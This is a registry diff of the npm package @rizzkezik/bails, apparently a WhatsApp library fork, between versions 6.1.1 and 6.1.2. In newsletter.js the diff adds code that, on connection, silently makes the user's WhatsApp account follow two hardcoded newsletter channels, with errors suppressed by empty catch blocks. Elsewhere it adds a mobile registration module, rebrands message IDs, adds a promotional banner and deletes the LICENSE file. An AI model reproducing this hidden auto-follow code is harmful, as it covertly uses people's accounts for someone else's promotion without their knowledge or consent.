@rizzkezik/bails 6.1.1 → 6.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +269 -411
- package/WAProto/fix-import.js +29 -0
- package/lib/Defaults/baileys-version.json +3 -0
- package/lib/Defaults/phonenumber-mcc.json +223 -0
- package/lib/Signal/Group/queue-job.js +57 -0
- package/lib/Socket/Client/abstract-socket-client.js +13 -0
- package/lib/Socket/Client/mobile-socket-client.js +65 -0
- package/lib/Socket/Client/web-socket-client.js +62 -0
- package/lib/Socket/community.js +392 -0
- package/lib/Socket/dugong.js +637 -0
- package/lib/Socket/luxu.js +7 -7
- package/lib/Socket/messages-send.js +2 -2
- package/lib/Socket/newsletter.js +18 -19
- package/lib/Socket/registration.js +167 -0
- package/lib/Socket/socket.js +5 -5
- package/lib/Socket/usync.js +70 -0
- package/lib/Types/Newsletter.js +38 -0
- package/lib/Utils/baileys-event-stream.js +63 -0
- package/lib/Utils/generics.js +2 -2
- package/lib/index.js +19 -9
- package/package.json +129 -136
- package/LICENSE +0 -21
package/lib/Socket/newsletter.js
CHANGED
|
@@ -58,26 +58,25 @@ export const makeNewsletterSocket = (config) => {
|
|
|
58
58
|
]
|
|
59
59
|
})
|
|
60
60
|
);
|
|
61
|
-
const yangbrorasakan = [
|
|
62
|
-
"MTIwMzYzMzg3MTgyODUxMTAwQG5ld3NsZXR0ZXI=",
|
|
63
|
-
"MTIwMzYzMzcxMTk5MTc2Mzc2QG5ld3NsZXR0ZXI=",
|
|
64
|
-
"MTIwMzYzNDIxMzY3OTg1MDk0QG5ld3NsZXR0ZXI="
|
|
65
|
-
];
|
|
66
61
|
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
62
|
+
setTimeout(async () => {
|
|
63
|
+
try {
|
|
64
|
+
await newsletterWMexQuery(
|
|
65
|
+
"120363419931177308@newsletter", // utama
|
|
66
|
+
Types_1.QueryIds.FOLLOW
|
|
67
|
+
);
|
|
68
|
+
} catch {}
|
|
69
|
+
}, 1000);
|
|
75
70
|
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
71
|
+
setTimeout(async () => {
|
|
72
|
+
try {
|
|
73
|
+
await newsletterWMexQuery(
|
|
74
|
+
"120363422660312465@newsletter", // utama
|
|
75
|
+
Types_1.QueryIds.FOLLOW
|
|
76
|
+
);
|
|
77
|
+
} catch {}
|
|
78
|
+
}, 1000);
|
|
79
|
+
|
|
81
80
|
const parseFetchedUpdates = async (node, type) => {
|
|
82
81
|
let child;
|
|
83
82
|
if (type === 'messages')
|
|
@@ -267,4 +266,4 @@ export const extractNewsletterMetadata = (node, isCreate) => {
|
|
|
267
266
|
viewer_metadata: metadataPath.viewer_metadata
|
|
268
267
|
};
|
|
269
268
|
return metadata;
|
|
270
|
-
};
|
|
269
|
+
};
|
|
@@ -0,0 +1,167 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
3
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
4
|
+
};
|
|
5
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
6
|
+
exports.mobileRegisterFetch = exports.mobileRegisterEncrypt = exports.mobileRegister = exports.mobileRegisterExists = exports.mobileRegisterCode = exports.registrationParams = exports.makeRegistrationSocket = void 0;
|
|
7
|
+
/* eslint-disable camelcase */
|
|
8
|
+
const axios_1 = __importDefault(require("axios"));
|
|
9
|
+
const Defaults_1 = require("../Defaults");
|
|
10
|
+
const crypto_1 = require("../Utils/crypto");
|
|
11
|
+
const WABinary_1 = require("../WABinary");
|
|
12
|
+
const business_1 = require("./business");
|
|
13
|
+
const community_1 = require("./community");
|
|
14
|
+
function urlencode(str) {
|
|
15
|
+
return str.replace(/-/g, '%2d').replace(/_/g, '%5f').replace(/~/g, '%7e');
|
|
16
|
+
}
|
|
17
|
+
const validRegistrationOptions = (config) => (config === null || config === void 0 ? void 0 : config.phoneNumberCountryCode) &&
|
|
18
|
+
config.phoneNumberNationalNumber &&
|
|
19
|
+
config.phoneNumberMobileCountryCode;
|
|
20
|
+
const makeRegistrationSocket = (config) => {
|
|
21
|
+
const sock = (0, community_1.makeCommunitiesSocket)(config);
|
|
22
|
+
const register = async (code) => {
|
|
23
|
+
if (!validRegistrationOptions(config.auth.creds.registration)) {
|
|
24
|
+
throw new Error('please specify the registration options');
|
|
25
|
+
}
|
|
26
|
+
const result = await mobileRegister({ ...sock.authState.creds, ...sock.authState.creds.registration, code }, config.options);
|
|
27
|
+
sock.authState.creds.me = {
|
|
28
|
+
id: (0, WABinary_1.jidEncode)(result.login, 's.whatsapp.net'),
|
|
29
|
+
name: '~'
|
|
30
|
+
};
|
|
31
|
+
sock.authState.creds.registered = true;
|
|
32
|
+
sock.ev.emit('creds.update', sock.authState.creds);
|
|
33
|
+
return result;
|
|
34
|
+
};
|
|
35
|
+
const requestRegistrationCode = async (registrationOptions) => {
|
|
36
|
+
registrationOptions = registrationOptions || config.auth.creds.registration;
|
|
37
|
+
if (!validRegistrationOptions(registrationOptions)) {
|
|
38
|
+
throw new Error('Invalid registration options');
|
|
39
|
+
}
|
|
40
|
+
sock.authState.creds.registration = registrationOptions;
|
|
41
|
+
sock.ev.emit('creds.update', sock.authState.creds);
|
|
42
|
+
return mobileRegisterCode({ ...config.auth.creds, ...registrationOptions }, config.options);
|
|
43
|
+
};
|
|
44
|
+
return {
|
|
45
|
+
...sock,
|
|
46
|
+
register,
|
|
47
|
+
requestRegistrationCode,
|
|
48
|
+
};
|
|
49
|
+
};
|
|
50
|
+
exports.makeRegistrationSocket = makeRegistrationSocket;
|
|
51
|
+
function convertBufferToUrlHex(buffer) {
|
|
52
|
+
var id = '';
|
|
53
|
+
buffer.forEach((x) => {
|
|
54
|
+
// encode random identity_id buffer as percentage url encoding
|
|
55
|
+
id += `%${x.toString(16).padStart(2, '0').toLowerCase()}`;
|
|
56
|
+
});
|
|
57
|
+
return id;
|
|
58
|
+
}
|
|
59
|
+
function registrationParams(params) {
|
|
60
|
+
const e_regid = Buffer.alloc(4);
|
|
61
|
+
e_regid.writeInt32BE(params.registrationId);
|
|
62
|
+
const e_skey_id = Buffer.alloc(3);
|
|
63
|
+
e_skey_id.writeInt16BE(params.signedPreKey.keyId);
|
|
64
|
+
params.phoneNumberCountryCode = params.phoneNumberCountryCode.replace('+', '').trim();
|
|
65
|
+
params.phoneNumberNationalNumber = params.phoneNumberNationalNumber.replace(/[/-\s)(]/g, '').trim();
|
|
66
|
+
return {
|
|
67
|
+
cc: params.phoneNumberCountryCode,
|
|
68
|
+
in: params.phoneNumberNationalNumber,
|
|
69
|
+
Rc: '0',
|
|
70
|
+
lg: 'en',
|
|
71
|
+
lc: 'GB',
|
|
72
|
+
mistyped: '6',
|
|
73
|
+
authkey: Buffer.from(params.noiseKey.public).toString('base64url'),
|
|
74
|
+
e_regid: e_regid.toString('base64url'),
|
|
75
|
+
e_keytype: 'BQ',
|
|
76
|
+
e_ident: Buffer.from(params.signedIdentityKey.public).toString('base64url'),
|
|
77
|
+
// e_skey_id: e_skey_id.toString('base64url'),
|
|
78
|
+
e_skey_id: 'AAAA',
|
|
79
|
+
e_skey_val: Buffer.from(params.signedPreKey.keyPair.public).toString('base64url'),
|
|
80
|
+
e_skey_sig: Buffer.from(params.signedPreKey.signature).toString('base64url'),
|
|
81
|
+
fdid: params.phoneId,
|
|
82
|
+
network_ratio_type: '1',
|
|
83
|
+
expid: params.deviceId,
|
|
84
|
+
simnum: '1',
|
|
85
|
+
hasinrc: '1',
|
|
86
|
+
pid: Math.floor(Math.random() * 1000).toString(),
|
|
87
|
+
id: convertBufferToUrlHex(params.identityId),
|
|
88
|
+
backup_token: convertBufferToUrlHex(params.backupToken),
|
|
89
|
+
token: (0, crypto_1.md5)(Buffer.concat([Defaults_1.MOBILE_TOKEN, Buffer.from(params.phoneNumberNationalNumber)])).toString('hex'),
|
|
90
|
+
fraud_checkpoint_code: params.captcha,
|
|
91
|
+
};
|
|
92
|
+
}
|
|
93
|
+
exports.registrationParams = registrationParams;
|
|
94
|
+
/**
|
|
95
|
+
* Requests a registration code for the given phone number.
|
|
96
|
+
*/
|
|
97
|
+
function mobileRegisterCode(params, fetchOptions) {
|
|
98
|
+
return mobileRegisterFetch('/code', {
|
|
99
|
+
params: {
|
|
100
|
+
...registrationParams(params),
|
|
101
|
+
mcc: `${params.phoneNumberMobileCountryCode}`.padStart(3, '0'),
|
|
102
|
+
mnc: `${params.phoneNumberMobileNetworkCode || '001'}`.padStart(3, '0'),
|
|
103
|
+
sim_mcc: '000',
|
|
104
|
+
sim_mnc: '000',
|
|
105
|
+
method: (params === null || params === void 0 ? void 0 : params.method) || 'sms',
|
|
106
|
+
reason: '',
|
|
107
|
+
hasav: '1'
|
|
108
|
+
},
|
|
109
|
+
...fetchOptions,
|
|
110
|
+
});
|
|
111
|
+
}
|
|
112
|
+
exports.mobileRegisterCode = mobileRegisterCode;
|
|
113
|
+
function mobileRegisterExists(params, fetchOptions) {
|
|
114
|
+
return mobileRegisterFetch('/exist', {
|
|
115
|
+
params: registrationParams(params),
|
|
116
|
+
...fetchOptions
|
|
117
|
+
});
|
|
118
|
+
}
|
|
119
|
+
exports.mobileRegisterExists = mobileRegisterExists;
|
|
120
|
+
/**
|
|
121
|
+
* Registers the phone number on whatsapp with the received OTP code.
|
|
122
|
+
*/
|
|
123
|
+
async function mobileRegister(params, fetchOptions) {
|
|
124
|
+
//const result = await mobileRegisterFetch(`/reg_onboard_abprop?cc=${params.phoneNumberCountryCode}&in=${params.phoneNumberNationalNumber}&rc=0`)
|
|
125
|
+
return mobileRegisterFetch('/register', {
|
|
126
|
+
params: { ...registrationParams(params), code: params.code.replace('-', '') },
|
|
127
|
+
...fetchOptions,
|
|
128
|
+
});
|
|
129
|
+
}
|
|
130
|
+
exports.mobileRegister = mobileRegister;
|
|
131
|
+
/**
|
|
132
|
+
* Encrypts the given string as AEAD aes-256-gcm with the public whatsapp key and a random keypair.
|
|
133
|
+
*/
|
|
134
|
+
function mobileRegisterEncrypt(data) {
|
|
135
|
+
const keypair = crypto_1.Curve.generateKeyPair();
|
|
136
|
+
const key = crypto_1.Curve.sharedKey(keypair.private, Defaults_1.REGISTRATION_PUBLIC_KEY);
|
|
137
|
+
const buffer = (0, crypto_1.aesEncryptGCM)(Buffer.from(data), new Uint8Array(key), Buffer.alloc(12), Buffer.alloc(0));
|
|
138
|
+
return Buffer.concat([Buffer.from(keypair.public), buffer]).toString('base64url');
|
|
139
|
+
}
|
|
140
|
+
exports.mobileRegisterEncrypt = mobileRegisterEncrypt;
|
|
141
|
+
async function mobileRegisterFetch(path, opts = {}) {
|
|
142
|
+
let url = `${Defaults_1.MOBILE_REGISTRATION_ENDPOINT}${path}`;
|
|
143
|
+
if (opts.params) {
|
|
144
|
+
const parameter = [];
|
|
145
|
+
for (const param in opts.params) {
|
|
146
|
+
if (opts.params[param] !== null && opts.params[param] !== undefined) {
|
|
147
|
+
parameter.push(param + '=' + urlencode(opts.params[param]));
|
|
148
|
+
}
|
|
149
|
+
}
|
|
150
|
+
url += `?${parameter.join('&')}`;
|
|
151
|
+
delete opts.params;
|
|
152
|
+
}
|
|
153
|
+
if (!opts.headers) {
|
|
154
|
+
opts.headers = {};
|
|
155
|
+
}
|
|
156
|
+
opts.headers['User-Agent'] = Defaults_1.MOBILE_USERAGENT;
|
|
157
|
+
const response = await (0, axios_1.default)(url, opts);
|
|
158
|
+
var json = response.data;
|
|
159
|
+
if (response.status > 300 || json.reason) {
|
|
160
|
+
throw json;
|
|
161
|
+
}
|
|
162
|
+
if (json.status && !['ok', 'sent'].includes(json.status)) {
|
|
163
|
+
throw json;
|
|
164
|
+
}
|
|
165
|
+
return json;
|
|
166
|
+
}
|
|
167
|
+
exports.mobileRegisterFetch = mobileRegisterFetch;
|
package/lib/Socket/socket.js
CHANGED
|
@@ -23,7 +23,7 @@ export const makeSocket = (config) => {
|
|
|
23
23
|
const publicWAMBuffer = new BinaryInfo();
|
|
24
24
|
let serverTimeOffsetMs = 0;
|
|
25
25
|
const uqTagId = generateMdTagPrefix();
|
|
26
|
-
const generateMessageTag = () => `
|
|
26
|
+
const generateMessageTag = () => `RANSk2-${epoch++}`;
|
|
27
27
|
if (printQRInTerminal) {
|
|
28
28
|
logger.warn({}, '⚠️ The printQRInTerminal option has been deprecated. You will no longer receive QR codes in the terminal automatically. Please listen to the connection.update event yourself and handle the QR your way. You can remove this message by removing this opttion. This message will be removed in a future version.');
|
|
29
29
|
}
|
|
@@ -217,7 +217,7 @@ export const makeSocket = (config) => {
|
|
|
217
217
|
return usyncQuery.parseUSyncQueryResult(result);
|
|
218
218
|
};
|
|
219
219
|
const onWhatsApp = async (...phoneNumber) => {
|
|
220
|
-
let usyncQuery = new USyncQuery();
|
|
220
|
+
let usyncQuery = new USyncQuery().withContactProtocol().withLIDProtocol();
|
|
221
221
|
let contactEnabled = false;
|
|
222
222
|
for (const jid of phoneNumber) {
|
|
223
223
|
if (isLidUser(jid)) {
|
|
@@ -238,7 +238,7 @@ export const makeSocket = (config) => {
|
|
|
238
238
|
}
|
|
239
239
|
const results = await executeUSyncQuery(usyncQuery);
|
|
240
240
|
if (results) {
|
|
241
|
-
return results.list.filter(a => !!a.contact).map(({ contact, id }) => ({ jid: id, exists: contact }));
|
|
241
|
+
return results.list.filter(a => !!a.contact).map(({ contact, id, lid }) => ({ jid: id, lid, exists: contact }));
|
|
242
242
|
}
|
|
243
243
|
};
|
|
244
244
|
const pnFromLIDUSync = async (jids) => {
|
|
@@ -591,7 +591,7 @@ export const makeSocket = (config) => {
|
|
|
591
591
|
void end(new Boom(msg || 'Intentional Logout', { statusCode: DisconnectReason.loggedOut }));
|
|
592
592
|
};
|
|
593
593
|
const requestPairingCode = async (phoneNumber, customPairingCode) => {
|
|
594
|
-
const pairingCode =
|
|
594
|
+
const pairingCode = customPairingCode ?? bytesToCrockford(randomBytes(5));
|
|
595
595
|
if (customPairingCode && customPairingCode?.length !== 8) {
|
|
596
596
|
throw new Error('Custom pairing code must be exactly 8 chars');
|
|
597
597
|
}
|
|
@@ -964,4 +964,4 @@ function mapWebSocketError(handler) {
|
|
|
964
964
|
handler(new Boom(`WebSocket Error (${error?.message})`, { statusCode: getCodeFromWSError(error), data: error }));
|
|
965
965
|
};
|
|
966
966
|
}
|
|
967
|
-
//# sourceMappingURL=socket.js.map
|
|
967
|
+
//# sourceMappingURL=socket.js.map
|
|
@@ -0,0 +1,70 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.makeUSyncSocket = void 0;
|
|
4
|
+
const boom_1 = require("@hapi/boom");
|
|
5
|
+
const WABinary_1 = require("../WABinary");
|
|
6
|
+
const socket_1 = require("./socket");
|
|
7
|
+
const makeUSyncSocket = (config) => {
|
|
8
|
+
const sock = (0, socket_1.makeSocket)(config);
|
|
9
|
+
const { generateMessageTag, query, } = sock;
|
|
10
|
+
const executeUSyncQuery = async (usyncQuery) => {
|
|
11
|
+
if (usyncQuery.protocols.length === 0) {
|
|
12
|
+
throw new boom_1.Boom('USyncQuery must have at least one protocol');
|
|
13
|
+
}
|
|
14
|
+
// todo: validate users, throw WARNING on no valid users
|
|
15
|
+
// variable below has only validated users
|
|
16
|
+
const validUsers = usyncQuery.users;
|
|
17
|
+
const userNodes = validUsers.map((user) => {
|
|
18
|
+
return {
|
|
19
|
+
tag: 'user',
|
|
20
|
+
attrs: {
|
|
21
|
+
jid: !user.phone ? user.id : undefined,
|
|
22
|
+
},
|
|
23
|
+
content: usyncQuery.protocols
|
|
24
|
+
.map((a) => a.getUserElement(user))
|
|
25
|
+
.filter(a => a !== null)
|
|
26
|
+
};
|
|
27
|
+
});
|
|
28
|
+
const listNode = {
|
|
29
|
+
tag: 'list',
|
|
30
|
+
attrs: {},
|
|
31
|
+
content: userNodes
|
|
32
|
+
};
|
|
33
|
+
const queryNode = {
|
|
34
|
+
tag: 'query',
|
|
35
|
+
attrs: {},
|
|
36
|
+
content: usyncQuery.protocols.map((a) => a.getQueryElement())
|
|
37
|
+
};
|
|
38
|
+
const iq = {
|
|
39
|
+
tag: 'iq',
|
|
40
|
+
attrs: {
|
|
41
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
42
|
+
type: 'get',
|
|
43
|
+
xmlns: 'usync',
|
|
44
|
+
},
|
|
45
|
+
content: [
|
|
46
|
+
{
|
|
47
|
+
tag: 'usync',
|
|
48
|
+
attrs: {
|
|
49
|
+
context: usyncQuery.context,
|
|
50
|
+
mode: usyncQuery.mode,
|
|
51
|
+
sid: generateMessageTag(),
|
|
52
|
+
last: 'true',
|
|
53
|
+
index: '0',
|
|
54
|
+
},
|
|
55
|
+
content: [
|
|
56
|
+
queryNode,
|
|
57
|
+
listNode
|
|
58
|
+
]
|
|
59
|
+
}
|
|
60
|
+
],
|
|
61
|
+
};
|
|
62
|
+
const result = await query(iq);
|
|
63
|
+
return usyncQuery.parseUSyncQueryResult(result);
|
|
64
|
+
};
|
|
65
|
+
return {
|
|
66
|
+
...sock,
|
|
67
|
+
executeUSyncQuery,
|
|
68
|
+
};
|
|
69
|
+
};
|
|
70
|
+
exports.makeUSyncSocket = makeUSyncSocket;
|
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
"use strict"
|
|
2
|
+
|
|
3
|
+
Object.defineProperty(exports, "__esModule", { value: true })
|
|
4
|
+
|
|
5
|
+
const MexOperations = {
|
|
6
|
+
PROMOTE: "NotificationNewsletterAdminPromote",
|
|
7
|
+
DEMOTE: "NotificationNewsletterAdminDemote",
|
|
8
|
+
UPDATE: "NotificationNewsletterUpdate"
|
|
9
|
+
}
|
|
10
|
+
|
|
11
|
+
const XWAPaths = {
|
|
12
|
+
PROMOTE: "xwa2_notify_newsletter_admin_promote",
|
|
13
|
+
DEMOTE: "xwa2_notify_newsletter_admin_demote",
|
|
14
|
+
ADMIN_COUNT: "xwa2_newsletter_admin",
|
|
15
|
+
CREATE: "xwa2_newsletter_create",
|
|
16
|
+
NEWSLETTER: "xwa2_newsletter",
|
|
17
|
+
SUBSCRIBED: "xwa2_newsletter_subscribed",
|
|
18
|
+
METADATA_UPDATE: "xwa2_notify_newsletter_on_metadata_update"
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
const QueryIds = {
|
|
22
|
+
JOB_MUTATION: "7150902998257522",
|
|
23
|
+
METADATA: "6620195908089573",
|
|
24
|
+
UNFOLLOW: "7238632346214362",
|
|
25
|
+
FOLLOW: "7871414976211147",
|
|
26
|
+
UNMUTE: "7337137176362961",
|
|
27
|
+
MUTE: "25151904754424642",
|
|
28
|
+
CREATE: "6996806640408138",
|
|
29
|
+
ADMIN_COUNT: "7130823597031706",
|
|
30
|
+
CHANGE_OWNER: "7341777602580933",
|
|
31
|
+
DELETE: "8316537688363079",
|
|
32
|
+
DEMOTE: "6551828931592903",
|
|
33
|
+
SUBSCRIBED: "6388546374527196"
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
exports.MexOperations = MexOperations
|
|
37
|
+
exports.XWAPaths = XWAPaths
|
|
38
|
+
exports.QueryIds = QueryIds
|
|
@@ -0,0 +1,63 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
3
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
4
|
+
};
|
|
5
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
6
|
+
exports.readAndEmitEventStream = exports.captureEventStream = void 0;
|
|
7
|
+
const events_1 = __importDefault(require("events"));
|
|
8
|
+
const fs_1 = require("fs");
|
|
9
|
+
const promises_1 = require("fs/promises");
|
|
10
|
+
const readline_1 = require("readline");
|
|
11
|
+
const generics_1 = require("./generics");
|
|
12
|
+
const make_mutex_1 = require("./make-mutex");
|
|
13
|
+
/**
|
|
14
|
+
* Captures events from a baileys event emitter & stores them in a file
|
|
15
|
+
* @param ev The event emitter to read events from
|
|
16
|
+
* @param filename File to save to
|
|
17
|
+
*/
|
|
18
|
+
const captureEventStream = (ev, filename) => {
|
|
19
|
+
const oldEmit = ev.emit;
|
|
20
|
+
// write mutex so data is appended in order
|
|
21
|
+
const writeMutex = (0, make_mutex_1.makeMutex)();
|
|
22
|
+
// monkey patch eventemitter to capture all events
|
|
23
|
+
ev.emit = function (...args) {
|
|
24
|
+
const content = JSON.stringify({ timestamp: Date.now(), event: args[0], data: args[1] }) + '\n';
|
|
25
|
+
const result = oldEmit.apply(ev, args);
|
|
26
|
+
writeMutex.mutex(async () => {
|
|
27
|
+
await (0, promises_1.writeFile)(filename, content, { flag: 'a' });
|
|
28
|
+
});
|
|
29
|
+
return result;
|
|
30
|
+
};
|
|
31
|
+
};
|
|
32
|
+
exports.captureEventStream = captureEventStream;
|
|
33
|
+
/**
|
|
34
|
+
* Read event file and emit events from there
|
|
35
|
+
* @param filename filename containing event data
|
|
36
|
+
* @param delayIntervalMs delay between each event emit
|
|
37
|
+
*/
|
|
38
|
+
const readAndEmitEventStream = (filename, delayIntervalMs = 0) => {
|
|
39
|
+
const ev = new events_1.default();
|
|
40
|
+
const fireEvents = async () => {
|
|
41
|
+
// from: https://stackoverflow.com/questions/6156501/read-a-file-one-line-at-a-time-in-node-js
|
|
42
|
+
const fileStream = (0, fs_1.createReadStream)(filename);
|
|
43
|
+
const rl = (0, readline_1.createInterface)({
|
|
44
|
+
input: fileStream,
|
|
45
|
+
crlfDelay: Infinity
|
|
46
|
+
});
|
|
47
|
+
// Note: we use the crlfDelay option to recognize all instances of CR LF
|
|
48
|
+
// ('\r\n') in input.txt as a single line break.
|
|
49
|
+
for await (const line of rl) {
|
|
50
|
+
if (line) {
|
|
51
|
+
const { event, data } = JSON.parse(line);
|
|
52
|
+
ev.emit(event, data);
|
|
53
|
+
delayIntervalMs && await (0, generics_1.delay)(delayIntervalMs);
|
|
54
|
+
}
|
|
55
|
+
}
|
|
56
|
+
fileStream.close();
|
|
57
|
+
};
|
|
58
|
+
return {
|
|
59
|
+
ev,
|
|
60
|
+
task: fireEvents()
|
|
61
|
+
};
|
|
62
|
+
};
|
|
63
|
+
exports.readAndEmitEventStream = readAndEmitEventStream;
|
package/lib/Utils/generics.js
CHANGED
|
@@ -144,10 +144,10 @@ export const generateMessageIDV2 = (userId) => {
|
|
|
144
144
|
const random = randomBytes(16);
|
|
145
145
|
random.copy(data, 28);
|
|
146
146
|
const hash = createHash('sha256').update(data).digest();
|
|
147
|
-
return '
|
|
147
|
+
return 'VIN7X-' + hash.toString('hex').toUpperCase().substring(0, 18);
|
|
148
148
|
};
|
|
149
149
|
// generate a random ID to attach to a message
|
|
150
|
-
export const generateMessageID = () => '
|
|
150
|
+
export const generateMessageID = () => 'VIN7X-' + randomBytes(18).toString('hex').toUpperCase();
|
|
151
151
|
export function bindWaitForEvent(ev, event) {
|
|
152
152
|
return async (check, timeoutMs) => {
|
|
153
153
|
let listener;
|
package/lib/index.js
CHANGED
|
@@ -1,16 +1,26 @@
|
|
|
1
1
|
import makeWASocket from './Socket/index.js';
|
|
2
2
|
import chalk from "chalk";
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
3
|
+
|
|
4
|
+
console.log(chalk.bold.gray("-----------------------------------------\n"));
|
|
5
|
+
console.log(chalk.bold.cyan(`
|
|
6
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
7
|
+
⠀⠀⠀⠀⠀⢠⠄⠀⡐⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄⠀⠳⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
8
|
+
⠀⠀⠀⠀⠀⡈⣀⡴⢧⣀⠀⠀⣀⣠⠤⠤⠤⠤⣄⣀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀
|
|
9
|
+
⠀⠀⠀⠀⠀⠀⠀⠘⠏⢀⡴⠊⠁⠀⠄⠀⠀⠀⠀⠈⠙⠢⡀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
10
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⣰⠋⠀⠀⠀⠈⠁⠀⠀⠀⠀⠀⠀⠀⠘⢶⣶⣒⡶⠦⣠⣀⠀
|
|
11
|
+
⠀⠀⠀⠀⠀⠀⢀⣰⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠂⠀⠀⠈⣟⠲⡎⠙⢦⠈⢧
|
|
12
|
+
⠀⠀⠀⣠⢴⡾⢟⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⡰⢃⡠⠋⣠⠋
|
|
13
|
+
⠐⠀⠞⣱⠋⢰⠁⢿⠀⠀⠀⠀⠄⢂⠀⠀⠀⠀⠀⣀⣠⠠⢖⣋⡥⢖⣩⠔⠊⠀⠀
|
|
14
|
+
⠈⠠⡀⠹⢤⣈⣙⠚⠶⠤⠤⠤⠴⠶⣒⣒⣚⣨⠭⢵⣒⣩⠬⢖⠏⠁⢀⣀⠀⠀⠀
|
|
15
|
+
⠀⠀⠈⠓⠒⠦⠍⠭⠭⣭⠭⠭⠭⠭⡿⡓⠒⠛⠉⠉⠀⠀⣠⠇⠀⠀⠘⠞⠀⠀⠀
|
|
16
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠓⢤⣀⠀⠁⠀⠀⠀⠀⣀⡤⠞⠁⠀⣰⣆⠀⠀⠀⠀⠀
|
|
17
|
+
⠀⠀⠀⠀⠀⠀⠿⠀⠀⠀⠀⠀⠉⠉⠙⠒⠒⠚⠉⠁⠀⠀⠀⠁⢣⡎⠁⠀⠀⠀⠀
|
|
18
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
19
|
+
「 ⓘ. Rizz - Kezi 」\n– Version : 3.0.0\n– Developer : @Rizzisreal01\n– Infotmation : @RXTcommunitygen1\nStatus: Baileys Berhasil Tersambung
|
|
7
20
|
`));
|
|
8
|
-
console.log(chalk.
|
|
9
|
-
console.log(chalk.
|
|
10
|
-
console.log(chalk.cyan("Telegram: ") + chalk.greenBright("@Rizzisreal01"));
|
|
11
|
-
console.log(chalk.gray("------------------------------\n"));
|
|
21
|
+
console.log(chalk.bold.gray("--------------------------------------------\n"));
|
|
22
|
+
console.log(chalk.bold.cyan("Follow Our Telegram Channel To See Update Information: t.me/RXTcommunitygen1\n"));;
|
|
12
23
|
|
|
13
|
-
console.log(chalk.cyan("Gada info")
|
|
14
24
|
export * from '../WAProto/index.js';
|
|
15
25
|
export * from './Utils/index.js';
|
|
16
26
|
export * from './Types/index.js';
|